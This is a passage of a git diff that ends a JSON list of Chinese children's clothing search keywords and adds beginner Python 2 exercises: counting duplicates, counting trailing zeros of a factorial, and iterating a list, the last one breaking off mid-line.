"童装加厚外套男0-4", + "儿童装男冬装外套加厚", + "童装外套加绒加厚女", + "女大童童装加厚外套", + "童装秋冬女童加厚外套", + "秋冬童装加厚保暖外套", + "秋冬加厚外套连帽童装", + "女童装外套秋冬加厚", + "童装秋冬加厚外套", + "童装男童秋冬加厚外套", + "童装加绒加厚外套开衫", + "童装外套加绒加厚", + "童装男外套加绒加厚", + "童装外套套装加厚加绒", + "童装加绒加厚保暖外套", + "童装加绒加厚外套儿童", + "牛仔外套 加厚 童装", + "童装女牛仔外套加厚", + "童装牛仔外套加厚", + "童装女童牛仔外套加厚", + "童装男童牛仔外套加厚", + "童装加绒加厚牛仔外套", + "长款加厚牛仔外套童装", + "牛仔裤外套童装男加厚", + "童装牛仔外套加厚短款", + "童装新款外套加厚加棉毛呢女", + "童装加厚外套女", + "童装加厚外套女冬", + "童装加厚外套男", + "童装加厚外套女4-5岁", + "童装加厚外套女2016", + "童装加厚外套男童", + "童装加厚外套男pu", + "童装加厚外套连帽男", + "童装加厚外套新款男", + "童装男童棉衣外套加厚棉袄冬款", + "童装男童棉衣外套加厚冬款", + "童装男童棉衣外套加厚2-3岁", + "童装男童棉衣外套加厚10月", + "童装男童棉衣外套加厚中长款", + "童装男童外套加厚棉衣", + "童装男童棉衣加厚休闲外套", + "童装男童棉衣加厚儿童冬季外套", + "童装男童中大童加厚棉衣外套", + "童装男童冬装棉衣长款加厚外套", + "童装外套女秋季风衣大童", + "秋季童装外套女风衣", + "女童装外套秋季风衣", + "秋季童装女外套加厚", + "童装女秋装外套8-10岁", + "童装女秋装外套大童", + "童装女秋装外套中长款", + "童装女秋装外套加绒5-7", + "童装女秋装外套5-7", + "童装女秋装外套中小童", + "童装女秋装外套5-7加厚", + "童装女秋装外套2016", + "童装女秋装外套加棉", + "童装女秋装2016潮外套", + "童装女秋冬装2016套装12", + "童装女秋冬装2016套装潮", + "童装女秋冬装2016套装4岁", + "童装女秋冬装2016套装1岁", + "童装女秋冬装2016套装3岁", + "童装女秋冬装2016套装5岁", + "童装女秋冬装2016套装中童", + "童装女秋冬装2016套装7岁", + "童装女秋冬装2016套装十岁", + "童装女秋冬装2016套装裙", + "童装女秋冬外套4-6岁", + "童装女秋冬外套装", + "童装女秋冬外套5-6岁", + "童装女秋冬外套6-7", + "童装女秋冬外套加厚", + "童装女秋冬外套中长款", + "童装女秋冬外套装新款", + "童装女秋冬外套毛衣", + "童装女秋冬外套2-3周岁", + "童装女秋冬装外套", + "童装女秋冬装裤子加厚", + "童装女秋冬装2016裤", + "童装女秋冬装外套1-3岁", + "童装女秋冬装保暖内衣", + "童装女秋冬套装潮韩版", + "童装女秋冬套装9-10", + "童装女3岁秋冬套装", + "女童装秋冬套装", + "童装女秋冬2016套装", + "童装女 套装 秋冬 3岁", + "童装女1-2岁秋冬套装", + "秋冬加绒童装套装女", + "小女童装秋冬套装", + "童装女秋冬装连衣裙棉", + "童装女秋冬装连衣裙3岁", + "童装女秋冬装2016羽绒", + "童装女秋冬装2016裙子", + "童装女秋冬装2016装", + "童装女秋冬装2016外套", + "童装女秋冬装2016毛衣", + "童装女秋冬装2016棉服", + "童装女秋冬打底裤 修身", + "打底裤童装 女秋冬", + "童装女秋冬卡通打底裤", + "秋冬加绒打底裤女童装", + "童装女打底裤秋冬", + "童装打底裤女秋冬", + "打底裤1-3岁女童装秋冬", + "女童装冬季套装4岁", + "童装女8--12岁冬季套装", + "秋冬季童装女套装新款加绒", + "童装外套女冬季7--8岁", + "7岁童装女 冬季外套", + "女童装冬季裙子套装4岁", + "童装女冬季外套", + "三岁女童装冬呢子外套", + "韩版童装春秋外套女", + "童装韩版外套女春秋", + "童装春秋外套女牛仔大衣", + "童装牛仔外套女 春秋", + "童装外套女 春秋牛仔", + "女童装秋冬款牛仔外套", + "女大童装秋冬款装外套", + "女童装秋冬款外套2016", + "女童装秋冬款外套", + "童装女秋冬款外套", + "童装秋冬款女外套", + "童装女斗篷衣秋冬外套", + "女童装加厚毛呢外套", + "童装毛呢外套女 加厚", + "大童装毛呢外套女加厚", + "童装女毛呢外套加厚", + "毛呢外套童装女加厚", + "女童装秋装外套10-12岁", + "童装秋装外套女10-12岁", + "童装女秋装牛仔外套", + "儿童装女秋装外套牛仔", + "女童装秋外套牛仔", + "童装女秋牛仔外套", + "牛仔外套 女 童装 秋装", + "儿t童秋季童装女外套", + "童装女秋季新款外套", + "童装潮流外套女秋季", + "公主童装女 秋季外套", + "童装女上衣外套加厚", + "童装2016女冬上衣外套", + "冬季女大童装上衣外套", + "童装女上衣长袖外套", + "2-3岁女童装加绒外套", + "童装女秋装3岁外套", + "女童装秋装2-3岁外套", + "童装女秋装外套3-4岁", + "女童装外套2到3岁秋", + "潮女童装外套秋3岁", + "童装秋装外套女3-5岁", + "童装女秋装外套1-3岁套装", + "女童装冬装外套2-3岁", + "童装女厚外套加绒3-6岁", + "童装女厚外套11岁", + "童装女厚外套棉3岁", + "童装女厚外套套装3-6岁", + "童装女厚外套 3-5岁冬季", + "女童装韩版厚外套特价", + "童装女毛衣外套开衫厚长", + "童装女套装秋冬2岁", + "童装女套装秋冬10--12岁", + "童装女套装秋冬2016新款", + "童装女秋装套装2-3-4岁", + "冬季女童装套装两件套裙", + "女童装秋冬款加绒套装", + "秋冬款童装套装女", + "童装冬款套装女", + "童装女春秋装2016套装7岁", + "童装女春秋装2016套装牛仔", + "童装女春秋装2016套装潮", + "童装女春秋装2016套装裙", + "女童装春秋款三件套装", + "女童装春秋运动套装", + "批发童装女春秋套装", + "童装女运动套装春秋3-5岁", + "童装女上衣春秋款", + "童装女裤子春秋 长裤休闲", + "童装女裤子春秋 长裤宽松", + "童装女裤子春秋 长裤2岁", + "童装女裤子春秋 长裤镂空", + "童装女裤子春秋 长裤牛仔裤", + "童装女裤子春秋 长裤大童", + "童装女裤子春秋 长裤铅笔裤", + "童装女裤子春秋 长裤运动裤", + "童装男童秋装裤子3-4岁纯棉", + "童装男童个性秋装裤子3-4岁", + "童装男童秋装哈伦裤子8-9岁", + "童装男童秋装1-3岁裤子休闲", + "童装男童秋装1-3岁裤子韩版", + "童装男童秋装裤子4-5岁加厚", + "童装男童秋装4-5岁休闲裤子", + "童装男童秋装外套4-5岁裤子", + "童装男童秋装裤子休闲薄款", + "童装男童秋装裤子九分薄款", + "童装男童秋装裤子六岁新款", + "秋装童装男童六岁裤子", + "童装男童秋装六岁新款裤子", + "童装男童秋装外套长袖开衫上衣", + "童装男童秋装上衣外套4-5岁", + "大童装男童上衣秋装外套", + "唯思凡童装男童秋装外套上衣", + "2016童装男童秋装外套时尚", + "2016童装男童秋装外套套装", + "2016童装男童秋装外套厚", + "童装男童秋装外套2016", + "安踏童装男童2016秋装外套", + "2016男童童装外套秋装上新", + "童装男童皮衣外套冬装", + "男童冬装长款皮衣外套加绒童装", + "童装男童冬装外套8-9岁", + "童装男童冬装棉衣外套", + "童装男童冬装新款棉衣外套", + "童装男童外套大童棉衣冬装", + "童装男童棉衣冬装2016外套", + "男童棉衣外套儿童装冬装5岁", + "童装男童外套小童棉衣宝宝冬装", + "童装冬装男童棉衣外套连帽", + "童装10男童冬装棉衣外套12", + "童装男童冬装棉衣外套加厚加绒", + "童装外套冬装 男童 潮", + "童装男童冬装外套3-5中长", + "童装男童外套秋冬上衣5岁", + "童装男童秋冬上衣外套", + "大童装男童外套冬加厚加棉上衣", + "童装上衣男童春秋装外套", + "男童 外套 上衣 童装", + "童装男童上衣外套夹棉", + "童装男童秋冬装外套5-6-7", + "童装男童秋冬装外套中大童上衣", + "童装男童秋冬装外套呢子大衣", + "童装男童秋冬装外套毛呢大衣", + "童装秋冬装男童外套男童", + "童装秋冬装男童外套男童棉衣", + "小童装男童秋装外套1-3岁潮", + "童装裤子男童牛仔裤 中大童", + "童装男童裤子秋装长裤韩版全棉", + "童装男童哈伦裤春秋裤子童长裤", + "童装男童冬装套装5-6岁", + "童装男童冬装套装2-3岁", + "童装男童冬装套装10岁", + "童装男童冬装套装1-3岁潮", + "童装男童冬装套装1-3岁韩版", + "童装男童冬装套装1-3岁休闲", + "童装男童冬装套装1-3岁特价", + "童装男童冬装套装1 3岁", + "童装男童秋冬装套装1-3岁", + "童装男童加绒冬装套装1-3岁", + "童装男童冬装背带套装1-3岁", + "童装男童冬装套装3岁韩版", + "童装男童冬装套装3-5岁", + "童装男童冬装套装3-4岁", + "童装冬装男童三件套装", + "童装男童冬装加绒加厚三件套装", + "童装冬装男童卫衣三件套装棉服", + "童装男童冬装三件套装周岁", + "童装男童冬装套装加绒加厚三件", + "童装冬装男童卫衣三件套装", + "童装男童套装4-5岁冬装", + "童装男童秋冬装套装4-5岁", + "童装男童冬装套装外套4-5岁", + "童装男童冬装套装0-1岁加厚", + "童装男童秋冬装套装11岁", + "童装男童冬装套装加绒加厚", + "儿童装男童冬装套装加绒加厚潮", + "男童童装冬装 加绒加厚套装", + "童装加绒加厚棉袄冬装套装男童", + "童装男童加绒加厚大白套装", + "童装男童加绒加厚儿童衬衫套装", + "童装保暖内衣套装加绒加厚男童", + "童装男童套装秋冬新款加绒加厚", + "童装男童秋冬套装加厚加绒迷彩", + "童装男童秋装套装加绒加厚棉衣", + "童装男童秋装套装 加厚加绒", + "童装男童4-5岁秋季套装运动", + "童装秋季男童套装5岁到6岁", + "秋季童装 男童 套装 卫衣", + "童装男童2016秋季套装", + "童装男童秋季套装1-3岁", + "童装男童秋季牛仔套装", + "童装秋季加绒男童套装", + "童装男童西服套装秋季", + "童装男童秋季套装休闲三件套", + "童装卫衣外套加厚厚男童套装", + "童装男童加厚套装1-3", + "童装男童三件套装加厚中小童", + "童装男童加厚加绒三件套装", + "男童加绒加厚童装三件套装潮", + "童装男童秋装套装加厚", + "童装男童秋装套装加厚3岁儿童", + "童装男童中大童加厚秋装套装", + "童装男童冬季套装加绒加厚", + "童装男童冬季套装三件套加厚", + "童装男童冬季加厚纯棉套装", + "冬季童装男童外出加绒加厚套装", + "童装男童冬季套装加绒加厚内衣", + "童装男童冬季加绒加厚套装", + "童装男童冬季加厚纯棉两件套装", + "童装男童冬季加绒加厚纯棉套装", + "童装男童1-3岁棉衣加厚套装", + "童装男童秋装套装1-3岁加厚", + "童装男童卫衣套装1-3岁加厚", + "童装男童套装秋冬装加厚两件套", + "2016童装秋冬套装加厚男童", + "童装冬季套装男童加绒三件套", + "童装套装加厚加绒三件套男童", + "童装男童秋装加绒套装4-6岁", + "童装男童秋装加绒套装大童", + "童装男童秋装套装加绒", + "童装男童秋装套装男孩卫衣加绒", + "童装男童秋装套装5岁儿童加绒", + "童装男童加绒运动套装 阿迪", + "童装运动套装加绒两件套男童冬", + "男童加绒运动套装中小童装", + "童装运动套装加绒男童冬", + "韩国童装 男童加绒运动套装", + "童装男童加绒套装开衫", + "童装男童加绒套装冬季5-9岁", + "童装加绒卫衣套装男童", + "童装新款男童加绒套装", + "童装男童内衣套装加绒", + "童装男童套装1-3岁加绒", + "童装男童秋装套装1——2岁", + "品牌童装男童秋装套装1-2岁", + "童装男童 1-3周岁牛仔套装", + "童装男童 1-3周岁夏装套装", + "童装男童外套加厚秋装中长风衣", + "童装男童秋装加厚外套3-4岁", + "童装男童夹克外套秋装2016", + "童装新款秋装裤子男童", + "童装新款男童秋装卫衣加绒", + "童装新款秋装男童卫衣", + "童装新款男童秋装纯棉圆领卫衣", + "童装男童卫衣秋装2016新款", + "童装新款男童秋装套装5岁毛衣", + "童装新款男童秋装上衣3-4岁", + "童装男童秋装新款上衣", + "童装新款男童秋装加绒上衣", + "童装新款男童秋装加绒上衣7岁", + "童装男套装冬2016新款", + "男童装套装秋2016新款", + "男童装套装2016新款冬", + "2016秋新款男童装套装", + "男童装2016新款冬套装", + "男童装套装2016新款潮", + "童装2016夏新款男套装", + "5男童装套装2016新款", + "男童装套装冬2016新款", + "男童装2016新款长袖t恤", + "2016新款童装男童裤子宝宝", + "2016新款童装男童裤子牛仔", + "童装新款羽绒棉男外套", + "童装新款外套男 冬", + "童装新款外套男中童", + "男童装新款外套", + "男童装外套2016新款风衣", + "童装男2016新款秋外套", + "童装男外套2016新款春", + "小童装外套男2016新款", + "2016新款童装男外套", + "童装男外套2016新款秋", + "童装男2016新款冬外套", + "大男童装外套2016新款", + "2016新款男童装外套", + "童装秋装外套男新款13岁", + "童装秋装外套男新款衬衫", + "男童装厚外套2016新款拉链", + "童装新款男大童外套冬潮", + "童装新款男大童外套风衣加厚", + "新款童装男秋衣秋裤", + "男女童装秋新款外套", + "童装男2016新款秋冬", + "秋冬男童装新款韩", + "秋冬男童装新款裤", + "童装男秋冬新款1-2岁", + "男女童装秋冬新款套装", + "童装秋冬新款男", + "童装男2016新款秋冬裤", + "秋冬新款童装潮男宝宝", + "男童装新款2016秋上衣", + "童装新款秋装男上衣", + "男童装秋装2016新款潮9", + "男童装秋装2016新款潮t", + "男童装秋装2016新款潮外套", + "男童装秋装2016新款潮套装", + "男童装秋装2016新款潮6岁", + "男童装秋装2016新款潮包邮", + "男童装秋装2016新款潮上衣", + "男童装秋装2016新款潮裤子", + "男童装秋装2016新款潮2岁", + "男童装秋装2016新款潮女", + "儿童装男秋装2016新款10", + "儿童装男秋装2016新款套装", + "儿童装男秋装2016新款外套", + "儿童装男秋装2016新款潮", + "儿童装男秋装2016新款上衣", + "儿童装男秋装2016新款3岁", + "儿童装男秋装2016新款秋冬", + "儿童装男秋装2016新款加厚", + "儿童装男秋装2016新款4岁", + "儿童装男秋装2016新款5岁", + "安踏男童装2016秋新款卫衣", + "安踏男童装2016秋新款外套", + "童装新款女童长袖秋款韩版套装", + "童装新款女外套呢大衣韩版", + "童装新款裤子女灯芯绒", + "童装新款裤子女秋冬牛仔裤", + "童装女童秋装2016新款女裤", + "女童装冬装2016新款潮9", + "女童装冬装2016新款潮13", + "女童装冬装2016新款潮打底", + "女童装冬装2016新款潮外套", + "女童装冬装2016新款潮套装", + "女童装冬装2016新款潮棉服", + "女童装冬装2016新款潮马甲", + "儿童装女冬装2016新款套裙", + "儿童装女冬装2016新款2岁", + "儿童装女冬装2016新款套装", + "3儿童装女冬装2016新款", + "童装新款女 保暖上衣10", + "童装新款女 保暖上衣4岁", + "童装新款女 保暖上衣大童", + "女童装新款秋装上衣潮", + "童装新款秋装女上衣", + "童装女羽绒服2016新款潮冬", + "新款童装羽绒服轻薄款女卡通", + "童装羽绒服2016新款轻薄款", + "童装新款儿童羽绒服轻薄款冬", + "新款童装儿童羽绒服轻薄款", + "羽绒服新款童装连帽轻薄款", + "2016新款超轻薄羽绒服童装", + "2016新款童装轻薄羽绒服", + "韩版新款童装羽绒服轻薄款", + "新款童装羽绒服中长款保暖", + "2016新款中长款童装羽绒服", + "男童装新款秋装外套军绿色", + "2016秋装新款童装外套", + "女童装秋装2016新款潮外套", + "儿童装女秋装2016新款外套", + "童装秋装外套2016新款潮", + "童装女童秋装2016新款外套", + "童装加厚外套秋装2016新款", + "2016秋装新款加棉童装外套", + "女童童装2016新款秋装外套", + "男童装新款 上衣外套潮", + "女童装秋冬新款外套上衣包邮", + "小童装新款女外套秋冬", + "儿童衬衫长袖男 童装加厚", + "新款童装男童加绒长袖衬衫", + "男童加绒长袖衬衫秋冬童装", + "新款童装男童加绒长袖衬衫白色", + "童装男童长袖衬衫纯棉", + "新款童装男童长袖衬衫白色", + "男童长袖衬衫童装秋装新款", + "秋季新款童装男童长袖衬衫", + "utd童装男童加绒衬衫", + "秋款童装衬衫领假两件男童毛衣", + "童装女秋装2016衬衫上衣", + "童装女秋装2016衬衫 韩版", + "男童长袖衬衫 童装", + "女童装加厚款外套春秋", + "童装外套女 春秋加厚", + "女童装秋冬装加厚外套风衣", + "女童装秋冬装加厚外套呢子", + "童装风衣外套加厚女", + "冬季外套女童装加厚", + "童装外套女 秋装3-5长款", + "大童装女秋装2016外套", + "童装女秋装针织衫外套", + "童装秋装女3-5外套", + "童装外套男童秋装韩版", + "童装外套男童秋装1一3岁", + "童装男童呢大衣外套", + "秋冬童装男童呢大衣韩版外套", + "童装男童毛呢外套毛领呢大衣", + "童装男童秋装外套清仓特价", + "外贸童装外套男童特价清仓", + "童装棉衣棉袄外套男童 特价", + "童装男童秋款外套", + "童装男童外套秋款", + "潮童装 男童 韩版秋款外套", + "童装男童外套秋款2016新款", + "男童外套印花夹克衫童装秋款", + "男童装加厚外套男", + "牛仔外套童装男加厚韩国代购", + "童装牛仔外套男加厚", + "男童装上衣加厚外套", + "童装男外套冬款", + "秋冬款男童装外套", + "秋冬款男童装外套卫衣", + "韩版男童装外套秋冬款", + "童装男呢子外套秋冬款", + "童装男大童冬款外套", + "童装 秋冬款 外套 男", + "童装男外套秋冬款", + "卫衣外套男童装秋冬款", + "童装男小童冬款外套", + "男童装冬装棉衣外套", + "童装男冬装外套", + "小童装男冬装外套", + "童装男冬装2016潮外套", + "童装男10-12岁冬装外套", + "童装秋冬装外套男", + "男童装冬装外套外贸", + "男童装3岁秋冬装外套", + "童装外套男冬 加厚长版", + "童装牛仔外套冬男", + "童装新款男3-4岁外套冬", + "男童装外套牛仔加绒", + "男童装牛仔外套加绒", + "牛仔加绒外套男童装", + "男童装加绒牛仔外套", + "儿童装加绒牛仔外套男", + "童装男外套加绒款潮", + "童装男外套加绒长款", + "童装男外套加绒搭配", + "儿童装加绒韩版外套男", + "儿童装加绒加厚外套男", + "童装男外套秋装加绒", + "男童装加绒外套大衣", + "男童装外套加绒加厚", + "加绒加厚童装外套男", + "小男童装加绒加厚外套", + "男童装加厚加绒外套", + "儿童外套男 春秋 童装三岁", + "女童装外套韩版 秋冬风衣", + "女童装外套韩版 秋冬毛衣", + "女童装外套韩版 秋冬3-5岁", + "女童装外套韩版 秋冬新款加绒", + "女童装外套韩版 秋冬3岁", + "女童装外套韩版 秋冬新款", + "女童装外套韩版 秋冬 公主", + "女童装外套韩版 秋冬2岁", + "女童装秋冬外套韩版连衣裙", + "童装秋冬外套女7岁", + "女童装卫衣外套秋冬", + "童装女马甲外套秋冬韩版", + "童装女马甲外套秋冬中长款", + "童装加绒加厚外套秋冬装", + "秋冬儿童装加绒加厚外套", + "秋冬童装韩版加绒加厚外套", + "童装女秋冬加绒加厚外套4岁", + "男童装外套 秋冬款", + "童装 男秋冬皮外套", + "2016秋冬新款童装外套", + "2016新款秋冬童装韩版外套", + "2016秋冬新款童装外套男童", + "大童装秋冬外套女2016新款", + "外贸童装2016秋冬新款外套", + "2016秋冬童装新款女男外套", + "2016 童装女秋冬新款外套", + "2016年新款秋冬童装外套", + "童装女童秋冬外套2016新款", + "韩版男童装秋冬外套加绒", + "男童装外套韩版 秋冬", + "韩版童装男 秋冬 外套 5岁", + "童装时尚秋冬韩版外套女", + "秋冬童装新款韩版毛领呢子外套", + "童装外套加绒加厚女4", + "童装外套加绒加厚女8岁", + "童装外套女加绒加厚", + "女大童童装加厚外套妮子", + "女童毛呢加厚外套童装秋冬", + "童装女童长袖外套秋冬加厚呢大", + "童装女童秋冬夹棉加厚外套", + "巴拉巴拉童装女童秋冬加厚外套", + "秋冬童装外套 保暖加厚 连帽", + "童装秋冬加厚外套中长款风衣", + "秋冬男童女童装加厚外套", + "童装男童呢子大衣外套加厚秋冬", + "童装男童秋冬外套加厚中长款", + "加厚中小加绒开衫外套女童装", + "加厚夹克加绒开衫外套女童装", + "男童装加绒加厚开衫外套", + "童装加绒加厚外套", + "童装女加绒加厚保暖外套", + "加厚棉衣外套 加绒保暖童装", + "童装儿童加绒加厚外套", + "女童装儿童加绒加厚连帽外套", + "冬季童装儿童男童加绒加厚外套", + "童装牛仔外套女加厚", + "女童装牛仔外套加厚", + "童装牛仔外套加厚羊羔绒", + "牛仔外套童装加厚", + "童装男女童加绒加厚牛仔外套", + "童装加厚外套男童牛仔", + "童装男童牛仔加厚外套", + "牛仔童装男童加厚外套", + "加绒加厚牛仔外套童装", + "童装牛仔加厚加绒外套男", + "童装加厚外套女2-3", + "童装冬棉衣外套女加厚", + "童装加厚外套男中童", + "童装加厚外套男pu连帽", + "童装加厚外套男童外贸清仓", + "童装男童加厚外套", + "童装男童外套冬季加厚", + "童装男童风衣外套加厚", + "童装男童外套2016加厚", + "男童外套 童装 加厚", + "童装男童外套加厚棉衣儿童棉袄", + "童装男童棉衣男孩冬季加厚外套", + "童装男童棉衣加厚冬季外套", + "童装女秋装外套8-10岁加厚", + "女童装8-9-10岁秋装外套", + "童装女大童秋装外套", + "童装女秋装外套中长款风衣", + "童装女秋装中长款外套", + "女童装秋装外套中长款", + "童装女毛衣 秋冬外套", + "女童装2016秋冬装外套", + "女童装秋冬装外套韩版", + "女 童装 秋冬装外套", + "秋冬装童装女外套", + "童装女外套7岁秋冬装", + "童装女秋冬装毛呢外套", + "女童装4-5岁秋冬装外套", + "童装 女 秋冬 1-3岁套装", + "女童装秋冬套装卫衣三件套加厚", + "女童装秋冬套装卫衣加厚", + "童装女秋冬2016套装潮", + "童装女秋冬2016套装2岁", + "童装女秋冬2016套装0-3", + "童装女秋冬2016套装一周岁", + "童装女秋冬2016套装连衣裙", + "儿童装女秋冬2016套装", + "童装女1-2岁秋冬套装男", + "童装女秋冬加绒套装", + "童装女秋装2016冬装", + "童装女秋冬装2016外套夹棉", + "童装女秋冬装2016外套装潮", + "打底裤1-3岁女童装秋冬加绒", + "童装女冬季外套毛呢", + "童装女冬季外套拉链", + "童装女冬季外套潮装", + "童装女冬季外套10", + "童装女冬季外套套装", + "童装女冬季外套0-岁", + "童装外套女 春秋牛仔4-5岁", + "毛呢外套童装女加厚3岁", + "童装女秋装牛仔外套 中长款", + "儿t童秋季童装女外套6岁", + "儿t童秋季童装女外套长款", + "童装女秋季新款外套4-5", + "童装女秋季新款外套中长款", + "童装女秋季新款外套长款", + "童装女上衣长袖外套冬", + "童装2-4岁女秋冬套装", + "女童装秋冬款加绒套装2-3", + "女童装秋冬款加绒套装外套", + "女童装春秋款三件套装婴儿卫衣", + "童装男童冬装棉衣外套厚", + "童装男童冬装棉衣外套长款棉袄", + "童装男童外套棉衣冬装", + "童装男童秋冬装套装5-6岁", + "童装男童秋冬装套装6-10岁", + "童装男童冬装套装三件套10岁", + "童装男童冬装套装1 3岁韩版", + "童装男童冬装1-3岁加绒套装", + "童装男童秋冬装套装3-4岁", + "童装男童卫衣秋季套装", + "儿童装男童秋装套装秋季卫衣", + "童装男童2016秋季新套装", + "2016秋季童装新款男童套装", + "童装男童秋季牛仔套装三件套", + "童装秋季男童加绒加厚套装", + "秋季童装加绒 男童 套装", + "童装男童秋装套装加厚5-6岁", + "童装男童秋装开衫套装加绒", + "童装男童卫衣加绒套装", + "童装男童加绒卫衣套装", + "童装男童卫衣套装1-3岁加绒", + "童装男童加绒卫衣套头套装套头", + "童装加绒套头卫衣套装男童", + "童装加绒卫衣两件套装男童", + "新款童装男童加绒套装", + "童装男童套装冬新款加绒加厚", + "童装新款男童秋装套装5岁加绒", + "童装男童保暖内衣套装加绒", + "童装男套装冬2016新款7岁", + "童装男套装冬2016新款时尚", + "男童装套装秋2016新款冬", + "男童装套装秋2016新款牛仔", + "男童装套装秋2016新款加绒", + "童装男套装秋2016新款", + "童装套装男2016新款秋", + "男童装套装2016新款冬加绒", + "男童装新款外套冲锋衣", + "童装男2016新款秋冬外套", + "童装男2016新款秋冬套装", + "2016新款秋冬男童装", + "2岁男童装秋冬2016新款", + "2016秋冬男童装新款", + "2016秋冬新款男童装1岁", + "2016男童装新款潮秋冬", + "儿童装男2016新款秋冬", + "秋冬男童装新款韩版潮外套", + "秋冬男童装新款加绒裤", + "童装秋冬新款男童", + "童装秋冬新款男童棉服", + "童装秋冬新款男童女童宝宝裤子", + "男童装秋装2016新款潮t恤", + "男童装秋装外套2016新款潮", + "女童装秋装外套2016新款潮", + "外套女秋装2016新款潮童装", + "男童衬衫长袖 纯棉 童装", + "儿童衬衫男童长袖纯棉 童装", + "男童秋装外套童装卫衣韩版", + "童装男童呢大衣外套 短款5岁", + "童装男童呢大衣外套 短款", + "童装男童外套秋款格子袖衣棉", + "童装男童外套秋款潮7岁", + "童装外套秋冬款男", + "韩版男童装外套秋冬款毛呢", + "童装男呢子外套秋冬款风衣", + "童装男冬装棉衣外套", + "童装男冬装外套5-10岁", + "童装冬装外套男", + "童装秋冬装外套男5-6岁", + "男童装秋冬装外套", + "童装男中童外套秋冬装", + "男童装秋冬装牛仔外套", + "童装秋冬装棉外套男", + "童装4-5岁秋冬装外套男", + "童装男外套秋装加绒3岁", + "儿童装女童外套加绒加厚秋冬装", + "2016秋冬新款童装羽绒外套", + "童装男童2016秋冬新款外套", + "2016秋冬新款童装男童外套", + "女童毛呢加厚外套童装秋冬装", + "童装加绒加厚外套棉衣", + "童装加绒加厚外套女", + "冬加绒加厚外套童装", + "加绒加厚童装儿童棉衣外套", + "加绒加厚秋冬外套童装儿童新款", + "童装冬棉衣外套女加厚韩版", + "童装男童加厚外套冬季", + "童装男童1-3岁外套加厚", + "童装男童外套冬季加厚秋装", + "新款童装大儿男童外套冬季加厚", + "童装男童冬季加厚羽绒棉外套", + "男童冬季韩版童装加厚棉袄外套", + "童装男童冬季纯棉加厚外套韩版", + "童装男童3岁冬季外套加厚夹克", + "童装 冬季男童加厚外套", + "童装男童风衣加厚棉衣外套", + "童装男童外套加厚长款风衣", + "外贸童装加厚外套男童", + "童装男童加厚小童外套", + "童装女秋装中长款外套毛呢", + "童装女秋装中长款外套粉色", + "童装女毛衣 秋冬外套开衫", + "童装女毛衣 秋冬外套1-2", + "女童装2016秋冬装外套小童", + "冬季女童装外套 毛呢", + "童装冬装男童迷彩棉衣外套加厚", + "童装男童套装冬季卫衣岁加绒厚", + "童装男童 套装卫衣加绒", + "童装男童卫衣加绒加厚套装", + "2016秋冬新款男童装11岁", + "2016年新款秋冬男童装", + "2016男童装新款潮秋冬毛衣", + "外贸童装男童秋冬新款", + "童装男童秋冬毛衣新款", + "新款男童秋冬童装", + "童装新款男童秋冬套装", + "童装新款秋冬外套男童", + "2016秋冬新款童装男童", + "童装半岁男童秋冬新款", + "童装男冬装棉衣外套4-6岁", + "童装冬装外套男2-3岁", + "童装冬装外套男童拼色连帽棉衣", + "男童装秋冬装外套9-12岁", + "童装加绒加厚棉衣外套", + "童装迷彩加厚加绒棉衣外套男", + "男童女童棉衣外套童装加厚加绒", + "冬厚款童装女童外套加绒加厚", + "加绒加厚冬格子外套童装", + "童装男童毛呢外套加厚1-3岁", + "童装加厚外套男童外贸", + "外贸童装2016秋冬新款男童", + "童装男童秋冬新款毛衣", + "2016秋冬新款童装韩版男童", + "童装男童套装秋冬新款", + "童装男童秋冬套装2016新款", + "新款秋冬童装男童套装长袖", + "童装男童套装2016秋冬新款", + "新款童装秋冬男童外套冬装加绒", + "男童外套大衣秋冬童装新款", + "2016秋冬新款童装男童加厚", + "童装男童睡衣2016秋冬新款", + "童装秋冬男童马甲2016新款", + "童装男童2016秋冬新款风衣", + "男童童装棉衣2016秋冬新款", + "童装男童棉衣2016秋冬新款", + "童装棉衣2016秋冬新款男童" +] \ No newline at end of file diff --git a/test/algorithm/count_duplicate.py b/test/algorithm/count_duplicate.py new file mode 100644 index 0000000..ee894db --- /dev/null +++ b/test/algorithm/count_duplicate.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: count_duplicate.py +@time: 2017/6/17 下午12:32 + +@title: 查找集合中重复元素的个数 +""" + + +from collections import Counter + +print Counter([1, 2, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4]) +# Counter({2: 4, 4: 4, 3: 3, 1: 1}) + + +if __name__ == '__main__': + pass diff --git a/test/algorithm/factorial.py b/test/algorithm/factorial.py new file mode 100644 index 0000000..d55cf82 --- /dev/null +++ b/test/algorithm/factorial.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: factorial.py +@time: 2017/6/17 上午11:53 + +@title: 写一个算法计算n的阶乘末尾0的个数 +""" + + +from math import factorial + + +print factorial(10) # 3628800 +print factorial(25) # 15511210043330985984000000 +print factorial(50) # 30414093201713378043612608166064768844377641568960512000000000000 + + +def end_zero_count(n): + """ + n的阶乘末尾0的个数 + (求n的阶乘 质因数5的幂) + :param n: + :return: + """ + num = 0 + while 1: + n /= 5 + if n: + num += n + else: + break + return num + + +if __name__ == '__main__': + print end_zero_count(10) # 2 + print end_zero_count(25) # 6 + print end_zero_count(50) # 12 diff --git a/test/algorithm/index.md b/test/algorithm/index.md new file mode 100644 index 0000000..d16c2a8 --- /dev/null +++ b/test/algorithm/index.md @@ -0,0 +1 @@ +## 索引 diff --git a/test/algorithm/inverted_index.py b/test/algorithm/inverted_index.py new file mode 100644 index 0000000..d74c4e8 --- /dev/null +++ b/test/algorithm/inverted_index.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: inverted_index.py +@time: 2017/8/20 下午11:17 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/test/algorithm/linked_list.py b/test/algorithm/linked_list.py new file mode 100644 index 0000000..f555737 --- /dev/null +++ b/test/algorithm/linked_list.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ss.py +@time: 2017/6/19 下午11:51 + +@title: 链表 +""" + + +# 生成器都是Iterator对象 + + +# 方式一 +# 首先获得Iterator对象: +it = iter([1, 2, 3, 4, 5]) # 列表转生成器 +# 循环: +while True: + try: + # 获得下一个值: + x = next(it) + print x + except StopIteration: + # 遇到StopIteration就退出循环 + break + + +# 方式二 +l = [1, 2, 3, 4, 5] +a = (i for i in 